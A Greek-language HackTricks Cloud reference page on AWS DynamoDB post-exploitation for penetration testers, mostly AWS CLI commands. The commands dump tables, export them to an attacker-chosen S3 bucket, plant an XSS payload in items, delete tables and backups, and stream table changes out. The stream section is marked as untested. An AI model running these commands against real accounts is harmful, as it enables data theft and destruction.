AWS - DynamoDB Post Exploitation

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

DynamoDB

Για περισσότερες πληροφορίες ελέγξτε:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Ένας επιτιθέμενος με αυτές τις άδειες θα είναι σε θέση να λάβει στοιχεία από πίνακες με το πρωτεύον κλειδί (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να το αποκτήσετε αυτό παίρνοντας τα μεταδεδομένα του πίνακα (describe-table).

json file

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

inline

aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>

Πιθανές Επιπτώσεις: Έμμεσος privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:GetItem

Παρόμοιο με τις προηγούμενες άδειες αυτή επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο 1 πίνακα δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Με αυτή την άδεια είναι επίσης δυνατή η χρήση της μεθόδου transact-get-items όπως:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Πιθανές Επιπτώσεις: Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:Query

Παρόμοιο με τις προηγούμενες άδειες αυτή επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο 1 πίνακα δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός υποσυνόλου συγκρίσεων, αλλά η μόνη σύγκριση που επιτρέπεται με το πρωτεύον κλειδί (που πρέπει να εμφανίζεται) είναι η "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε μια σύγκριση για να αποκτήσετε ολόκληρη τη βάση δεδομένων σε ένα αίτημα.

json file

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

inline

aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

Πιθανές Επιπτώσεις: Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:Scan

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να εξάγετε εύκολα ολόκληρο τον πίνακα.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Πιθανές Επιπτώσεις: Έμμεση ανύψωση δικαιωμάτων εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:PartiQLSelect

Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να εξάγετε ολόκληρο τον πίνακα εύκολα.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Αυτή η άδεια επιτρέπει επίσης την εκτέλεση batch-execute-statement όπως:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

αλλά πρέπει να καθορίσετε το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι και τόσο χρήσιμο.

Πιθανές Επιπτώσεις: Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket της επιλογής του:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Σημειώστε ότι για να λειτουργήσει αυτό, ο πίνακας πρέπει να έχει ενεργοποιημένη την ανάκτηση σε συγκεκριμένο χρόνο, μπορείτε να ελέγξετε αν ο πίνακας το έχει με:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Αν δεν είναι ενεργοποιημένο, θα χρειαστεί να το ενεργοποιήσετε και για αυτό χρειάζεστε την dynamodb:ExportTableToPointInTime άδεια:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Πιθανές Επιπτώσεις: Έμμεσος privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Με αυτές τις άδειες, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο πίνακα από ένα αντίγραφο ασφαλείας (ή ακόμα και να δημιουργήσει ένα αντίγραφο ασφαλείας για να το αποκαταστήσει σε έναν διαφορετικό πίνακα). Στη συνέχεια, με τις απαραίτητες άδειες, θα μπορούσε να ελέγξει πληροφορίες από τα αντίγραφα ασφαλείας που δεν θα μπορούσαν να είναι πλέον στον παραγωγικό πίνακα.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Πιθανές Επιπτώσεις: Έμμεσος privesc εντοπίζοντας ευαίσθητες πληροφορίες στο αντίγραφο ασφαλείας του πίνακα

dynamodb:PutItem

Αυτή η άδεια επιτρέπει στους χρήστες να προσθέσουν ένα νέο στοιχείο στον πίνακα ή να αντικαταστήσουν ένα υπάρχον στοιχείο με ένα νέο στοιχείο. Εάν ένα στοιχείο με το ίδιο πρωτεύον κλειδί υπάρχει ήδη, το ολόκληρο το στοιχείο θα αντικατασταθεί με το νέο στοιχείο. Εάν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί θα δημιουργηθεί.

XSS Example

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Παράδειγμα AI

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με την ικανότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB

dynamodb:UpdateItem

Αυτή η άδεια επιτρέπει στους χρήστες να τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός αντικειμένου ή να προσθέτουν νέα χαρακτηριστικά σε ένα αντικείμενο. Δεν αντικαθιστά ολόκληρο το αντικείμενο; μόνο ενημερώνει τα καθορισμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα δημιουργήσει ένα νέο αντικείμενο με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.

XSS Example

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Παράδειγμα AI

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με την ικανότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB

dynamodb:DeleteTable

Ένας επιτιθέμενος με αυτή την άδεια μπορεί να διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Πιθανές επιπτώσεις: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.

dynamodb:DeleteBackup

Ένας επιτιθέμενος με αυτή την άδεια μπορεί να διαγράψει ένα αντίγραφο ασφαλείας DynamoDB, προκαλώντας ενδεχομένως απώλεια δεδομένων σε περίπτωση σεναρίου αποκατάστασης από καταστροφή.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Πιθανές επιπτώσεις: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας κατά τη διάρκεια ενός σεναρίου αποκατάστασης καταστροφών.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Δοκιμάστε αν αυτό λειτουργεί πραγματικά

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να ενεργοποιήσει μια ροή σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα για να αρχίσει να ρέει οι αλλαγές και στη συνέχεια να έχει πρόσβαση στη ροή για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο. Αυτό επιτρέπει στον επιτιθέμενο να παρακολουθεί και να εξάγει τις αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε διαρροή δεδομένων.

1. Ενεργοποιήστε μια ροή σε έναν πίνακα DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>

1. Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>

1. Πάρτε τον δείκτη τμήματος χρησιμοποιώντας το stream ARN:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>

1. Χρησιμοποιήστε τον shard iterator για να αποκτήσετε πρόσβαση και να εξάγετε δεδομένα από το stream:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Πιθανές επιπτώσεις: Παρακολούθηση σε πραγματικό χρόνο και διαρροή δεδομένων των αλλαγών του πίνακα DynamoDB.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.